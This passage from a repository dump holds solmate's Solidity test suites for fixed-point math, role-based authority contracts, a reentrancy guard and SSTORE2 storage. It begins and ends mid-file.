assertEq(FixedPointMathLib.mulWadDown(369, 271), 0);
}
function testMulWadDownEdgeCases() public {
assertEq(FixedPointMathLib.mulWadDown(0, 1e18), 0);
assertEq(FixedPointMathLib.mulWadDown(1e18, 0), 0);
assertEq(FixedPointMathLib.mulWadDown(0, 0), 0);
}
function testMulWadUp() public {
assertEq(FixedPointMathLib.mulWadUp(2.5e18, 0.5e18), 1.25e18);
assertEq(FixedPointMathLib.mulWadUp(3e18, 1e18), 3e18);
assertEq(FixedPointMathLib.mulWadUp(369, 271), 1);
}
function testMulWadUpEdgeCases() public {
assertEq(FixedPointMathLib.mulWadUp(0, 1e18), 0);
assertEq(FixedPointMathLib.mulWadUp(1e18, 0), 0);
assertEq(FixedPointMathLib.mulWadUp(0, 0), 0);
}
function testDivWadDown() public {
assertEq(FixedPointMathLib.divWadDown(1.25e18, 0.5e18), 2.5e18);
assertEq(FixedPointMathLib.divWadDown(3e18, 1e18), 3e18);
assertEq(FixedPointMathLib.divWadDown(2, 100000000000000e18), 0);
}
function testDivWadDownEdgeCases() public {
assertEq(FixedPointMathLib.divWadDown(0, 1e18), 0);
}
function testFailDivWadDownZeroDenominator() public pure {
FixedPointMathLib.divWadDown(1e18, 0);
}
function testDivWadUp() public {
assertEq(FixedPointMathLib.divWadUp(1.25e18, 0.5e18), 2.5e18);
assertEq(FixedPointMathLib.divWadUp(3e18, 1e18), 3e18);
assertEq(FixedPointMathLib.divWadUp(2, 100000000000000e18), 1);
}
function testDivWadUpEdgeCases() public {
assertEq(FixedPointMathLib.divWadUp(0, 1e18), 0);
}
function testFailDivWadUpZeroDenominator() public pure {
FixedPointMathLib.divWadUp(1e18, 0);
}
function testMulDivDown() public {
assertEq(FixedPointMathLib.mulDivDown(2.5e27, 0.5e27, 1e27), 1.25e27);
assertEq(FixedPointMathLib.mulDivDown(2.5e18, 0.5e18, 1e18), 1.25e18);
assertEq(FixedPointMathLib.mulDivDown(2.5e8, 0.5e8, 1e8), 1.25e8);
assertEq(FixedPointMathLib.mulDivDown(369, 271, 1e2), 999);
assertEq(FixedPointMathLib.mulDivDown(1e27, 1e27, 2e27), 0.5e27);
assertEq(FixedPointMathLib.mulDivDown(1e18, 1e18, 2e18), 0.5e18);
assertEq(FixedPointMathLib.mulDivDown(1e8, 1e8, 2e8), 0.5e8);
assertEq(FixedPointMathLib.mulDivDown(2e27, 3e27, 2e27), 3e27);
assertEq(FixedPointMathLib.mulDivDown(3e18, 2e18, 3e18), 2e18);
assertEq(FixedPointMathLib.mulDivDown(2e8, 3e8, 2e8), 3e8);
}
function testMulDivDownEdgeCases() public {
assertEq(FixedPointMathLib.mulDivDown(0, 1e18, 1e18), 0);
assertEq(FixedPointMathLib.mulDivDown(1e18, 0, 1e18), 0);
assertEq(FixedPointMathLib.mulDivDown(0, 0, 1e18), 0);
}
function testFailMulDivDownZeroDenominator() public pure {
FixedPointMathLib.mulDivDown(1e18, 1e18, 0);
}
function testMulDivUp() public {
assertEq(FixedPointMathLib.mulDivUp(2.5e27, 0.5e27, 1e27), 1.25e27);
assertEq(FixedPointMathLib.mulDivUp(2.5e18, 0.5e18, 1e18), 1.25e18);
assertEq(FixedPointMathLib.mulDivUp(2.5e8, 0.5e8, 1e8), 1.25e8);
assertEq(FixedPointMathLib.mulDivUp(369, 271, 1e2), 1000);
assertEq(FixedPointMathLib.mulDivUp(1e27, 1e27, 2e27), 0.5e27);
assertEq(FixedPointMathLib.mulDivUp(1e18, 1e18, 2e18), 0.5e18);
assertEq(FixedPointMathLib.mulDivUp(1e8, 1e8, 2e8), 0.5e8);
assertEq(FixedPointMathLib.mulDivUp(2e27, 3e27, 2e27), 3e27);
assertEq(FixedPointMathLib.mulDivUp(3e18, 2e18, 3e18), 2e18);
assertEq(FixedPointMathLib.mulDivUp(2e8, 3e8, 2e8), 3e8);
}
function testMulDivUpEdgeCases() public {
assertEq(FixedPointMathLib.mulDivUp(0, 1e18, 1e18), 0);
assertEq(FixedPointMathLib.mulDivUp(1e18, 0, 1e18), 0);
assertEq(FixedPointMathLib.mulDivUp(0, 0, 1e18), 0);
}
function testFailMulDivUpZeroDenominator() public pure {
FixedPointMathLib.mulDivUp(1e18, 1e18, 0);
}
function testRPow() public {
assertEq(FixedPointMathLib.rpow(2e27, 2, 1e27), 4e27);
assertEq(FixedPointMathLib.rpow(2e18, 2, 1e18), 4e18);
assertEq(FixedPointMathLib.rpow(2e8, 2, 1e8), 4e8);
assertEq(FixedPointMathLib.rpow(8, 3, 1), 512);
}
function testSqrt() public {
assertEq(FixedPointMathLib.sqrt(0), 0);
assertEq(FixedPointMathLib.sqrt(1), 1);
assertEq(FixedPointMathLib.sqrt(2704), 52);
assertEq(FixedPointMathLib.sqrt(110889), 333);
assertEq(FixedPointMathLib.sqrt(32239684), 5678);
}
function testMulWadDown(uint256 x, uint256 y) public {
// Ignore cases where x * y overflows.
unchecked {
if ((x != 0 && (x * y) / x != y)) return;
}
assertEq(FixedPointMathLib.mulWadDown(x, y), (x * y) / 1e18);
}
function testFailMulWadDownOverflow(uint256 x, uint256 y) public pure {
// Ignore cases where x * y does not overflow.
unchecked {
if ((x * y) / x == y) revert();
}
FixedPointMathLib.mulWadDown(x, y);
}
function testMulWadUp(uint256 x, uint256 y) public {
// Ignore cases where x * y overflows.
unchecked {
if ((x != 0 && (x * y) / x != y)) return;
}
assertEq(FixedPointMathLib.mulWadUp(x, y), x * y == 0 ? 0 : (x * y - 1) / 1e18 + 1);
}
function testFailMulWadUpOverflow(uint256 x, uint256 y) public pure {
// Ignore cases where x * y does not overflow.
unchecked {
if ((x * y) / x == y) revert();
}
FixedPointMathLib.mulWadUp(x, y);
}
function testDivWadDown(uint256 x, uint256 y) public {
// Ignore cases where x * WAD overflows or y is 0.
unchecked {
if (y == 0 || (x != 0 && (x * 1e18) / 1e18 != x)) return;
}
assertEq(FixedPointMathLib.divWadDown(x, y), (x * 1e18) / y);
}
function testFailDivWadDownOverflow(uint256 x, uint256 y) public pure {
// Ignore cases where x * WAD does not overflow or y is 0.
unchecked {
if (y == 0 || (x * 1e18) / 1e18 == x) revert();
}
FixedPointMathLib.divWadDown(x, y);
}
function testFailDivWadDownZeroDenominator(uint256 x) public pure {
FixedPointMathLib.divWadDown(x, 0);
}
function testDivWadUp(uint256 x, uint256 y) public {
// Ignore cases where x * WAD overflows or y is 0.
unchecked {
if (y == 0 || (x != 0 && (x * 1e18) / 1e18 != x)) return;
}
assertEq(FixedPointMathLib.divWadUp(x, y), x == 0 ? 0 : (x * 1e18 - 1) / y + 1);
}
function testFailDivWadUpOverflow(uint256 x, uint256 y) public pure {
// Ignore cases where x * WAD does not overflow or y is 0.
unchecked {
if (y == 0 || (x * 1e18) / 1e18 == x) revert();
}
FixedPointMathLib.divWadUp(x, y);
}
function testFailDivWadUpZeroDenominator(uint256 x) public pure {
FixedPointMathLib.divWadUp(x, 0);
}
function testMulDivDown(
uint256 x,
uint256 y,
uint256 denominator
) public {
// Ignore cases where x * y overflows or denominator is 0.
unchecked {
if (denominator == 0 || (x != 0 && (x * y) / x != y)) return;
}
assertEq(FixedPointMathLib.mulDivDown(x, y, denominator), (x * y) / denominator);
}
function testFailMulDivDownOverflow(
uint256 x,
uint256 y,
uint256 denominator
) public pure {
// Ignore cases where x * y does not overflow or denominator is 0.
unchecked {
if (denominator == 0 || (x * y) / x == y) revert();
}
FixedPointMathLib.mulDivDown(x, y, denominator);
}
function testFailMulDivDownZeroDenominator(uint256 x, uint256 y) public pure {
FixedPointMathLib.mulDivDown(x, y, 0);
}
function testMulDivUp(
uint256 x,
uint256 y,
uint256 denominator
) public {
// Ignore cases where x * y overflows or denominator is 0.
unchecked {
if (denominator == 0 || (x != 0 && (x * y) / x != y)) return;
}
assertEq(FixedPointMathLib.mulDivUp(x, y, denominator), x * y == 0 ? 0 : (x * y - 1) / denominator + 1);
}
function testFailMulDivUpOverflow(
uint256 x,
uint256 y,
uint256 denominator
) public pure {
// Ignore cases where x * y does not overflow or denominator is 0.
unchecked {
if (denominator == 0 || (x * y) / x == y) revert();
}
FixedPointMathLib.mulDivUp(x, y, denominator);
}
function testFailMulDivUpZeroDenominator(uint256 x, uint256 y) public pure {
FixedPointMathLib.mulDivUp(x, y, 0);
}
function testSqrt(uint256 x) public {
uint256 root = FixedPointMathLib.sqrt(x);
uint256 next = root + 1;
// Ignore cases where next * next overflows.
unchecked {
if (next * next < next) return;
}
assertTrue(root * root <= x && next * next > x);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/MultiRolesAuthority.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockAuthority} from "./utils/mocks/MockAuthority.sol";
import {Authority} from "../auth/Auth.sol";
import {MultiRolesAuthority} from "../auth/authorities/MultiRolesAuthority.sol";
contract MultiRolesAuthorityTest is DSTestPlus {
MultiRolesAuthority multiRolesAuthority;
function setUp() public {
multiRolesAuthority = new MultiRolesAuthority(address(this), Authority(address(0)));
}
function testSetRoles() public {
assertFalse(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertTrue(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
}
function testSetRoleCapabilities() public {
assertFalse(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));
}
function testSetPublicCapabilities() public {
assertFalse(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));
}
function testSetTargetCustomAuthority() public {
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0));
multiRolesAuthority.setTargetCustomAuthority(address(0xBEEF), Authority(address(0xCAFE)));
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0xCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xBEEF), Authority(address(0)));
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0));
}
function testCanCallWithAuthorizedRole() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallPublicCapability() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallWithCustomAuthority() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallWithCustomAuthorityOverridesPublicCapability() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallWithCustomAuthorityOverridesUserWithRole() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testSetRoles(address user, uint8 role) public {
assertFalse(multiRolesAuthority.doesUserHaveRole(user, role));
multiRolesAuthority.setUserRole(user, role, true);
assertTrue(multiRolesAuthority.doesUserHaveRole(user, role));
multiRolesAuthority.setUserRole(user, role, false);
assertFalse(multiRolesAuthority.doesUserHaveRole(user, role));
}
function testSetRoleCapabilities(uint8 role, bytes4 functionSig) public {
assertFalse(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, true);
assertTrue(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, false);
assertFalse(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));
}
function testSetPublicCapabilities(bytes4 functionSig) public {
assertFalse(multiRolesAuthority.isCapabilityPublic(functionSig));
multiRolesAuthority.setPublicCapability(functionSig, true);
assertTrue(multiRolesAuthority.isCapabilityPublic(functionSig));
multiRolesAuthority.setPublicCapability(functionSig, false);
assertFalse(multiRolesAuthority.isCapabilityPublic(functionSig));
}
function testSetTargetCustomAuthority(address user, Authority customAuthority) public {
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(0));
multiRolesAuthority.setTargetCustomAuthority(user, customAuthority);
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(customAuthority));
multiRolesAuthority.setTargetCustomAuthority(user, Authority(address(0)));
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(0));
}
function testCanCallWithAuthorizedRole(
address user,
uint8 role,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, true);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
}
function testCanCallPublicCapability(
address user,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
}
function testCanCallWithCustomAuthority(
address user,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
}
function testCanCallWithCustomAuthorityOverridesPublicCapability(
address user,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, false);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
}
function testCanCallWithCustomAuthorityOverridesUserWithRole(
address user,
uint8 role,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, true);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, false);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/ReentrancyGuard.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {ReentrancyGuard} from "../utils/ReentrancyGuard.sol";
contract RiskyContract is ReentrancyGuard {
uint256 public enterTimes;
function unprotectedCall() public {
enterTimes++;
if (enterTimes > 1) return;
protectedCall();
}
function protectedCall() public nonReentrant {
enterTimes++;
if (enterTimes > 1) return;
protectedCall();
}
function overprotectedCall() public nonReentrant {}
}
contract ReentrancyGuardTest is DSTestPlus {
RiskyContract riskyContract;
function setUp() public {
riskyContract = new RiskyContract();
}
function invariantReentrancyStatusAlways1() public {
assertEq(uint256(hevm.load(address(riskyContract), 0)), 1);
}
function testFailUnprotectedCall() public {
riskyContract.unprotectedCall();
assertEq(riskyContract.enterTimes(), 1);
}
function testProtectedCall() public {
try riskyContract.protectedCall() {
fail("Reentrancy Guard Failed To Stop Attacker");
} catch {}
}
function testNoReentrancy() public {
riskyContract.overprotectedCall();
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/RolesAuthority.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockAuthority} from "./utils/mocks/MockAuthority.sol";
import {Authority} from "../auth/Auth.sol";
import {RolesAuthority} from "../auth/authorities/RolesAuthority.sol";
contract RolesAuthorityTest is DSTestPlus {
RolesAuthority rolesAuthority;
function setUp() public {
rolesAuthority = new RolesAuthority(address(this), Authority(address(0)));
}
function testSetRoles() public {
assertFalse(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
rolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertTrue(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
rolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
}
function testSetRoleCapabilities() public {
assertFalse(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, false);
assertFalse(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));
}
function testSetPublicCapabilities() public {
assertFalse(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, false);
assertFalse(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallWithAuthorizedRole() public {
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, false);
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallPublicCapability() public {
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, false);
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testSetRoles(address user, uint8 role) public {
assertFalse(rolesAuthority.doesUserHaveRole(user, role));
rolesAuthority.setUserRole(user, role, true);
assertTrue(rolesAuthority.doesUserHaveRole(user, role));
rolesAuthority.setUserRole(user, role, false);
assertFalse(rolesAuthority.doesUserHaveRole(user, role));
}
function testSetRoleCapabilities(
uint8 role,
address target,
bytes4 functionSig
) public {
assertFalse(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, true);
assertTrue(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, false);
assertFalse(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));
}
function testSetPublicCapabilities(address target, bytes4 functionSig) public {
assertFalse(rolesAuthority.isCapabilityPublic(target, functionSig));
rolesAuthority.setPublicCapability(target, functionSig, true);
assertTrue(rolesAuthority.isCapabilityPublic(target, functionSig));
rolesAuthority.setPublicCapability(target, functionSig, false);
assertFalse(rolesAuthority.isCapabilityPublic(target, functionSig));
}
function testCanCallWithAuthorizedRole(
address user,
uint8 role,
address target,
bytes4 functionSig
) public {
assertFalse(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setUserRole(user, role, true);
assertFalse(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, true);
assertTrue(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, false);
assertFalse(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, true);
assertTrue(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setUserRole(user, role, false);
assertFalse(rolesAuthority.canCall(user, target, functionSig));
}
function testCanCallPublicCapability(
address user,
address target,
bytes4 functionSig
) public {
assertFalse(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setPublicCapability(target, functionSig, true);
assertTrue(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setPublicCapability(target, functionSig, false);
assertFalse(rolesAuthority.canCall(user, target, functionSig));
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/SSTORE2.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {SSTORE2} from "../utils/SSTORE2.sol";
contract SSTORE2Test is DSTestPlus {
function testWriteRead() public {
bytes memory testBytes = abi.encode("this is a test");
address pointer = SSTORE2.write(testBytes);
assertBytesEq(SSTORE2.read(pointer), testBytes);
}
function testWriteReadFullStartBound() public {
assertBytesEq(SSTORE2.read(SSTORE2.write(hex"11223344"), 0), hex"11223344");
}
function testWriteReadCustomStartBound() public {
assertBytesEq(SSTORE2.read(SSTORE2.write(hex"11223344"), 1), hex"223344");
}
function testWriteReadFullBoundedRead() public {
bytes memory testBytes = abi.encode("this is a test");
assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes), 0, testBytes.length), testBytes);
}
function testWriteReadCustomBounds() public {
assertBytesEq(SSTORE2.read(SSTORE2.write(hex"11223344"), 1, 3), hex"2233");
}
function testWriteReadEmptyBound() public {
SSTORE2.read(SSTORE2.write(hex"11223344"), 3, 3);
}
function testFailReadInvalidPointer() public view {
SSTORE2.read(DEAD_ADDRESS);
}
function testFailReadInvalidPointerCustomStartBound() public view {
SSTORE2.read(DEAD_ADDRESS, 1);
}
function testFailReadInvalidPointerCustomBounds() public view {
SSTORE2.read(DEAD_ADDRESS, 2, 4);
}
function testFailWriteReadOutOfStartBound() public {
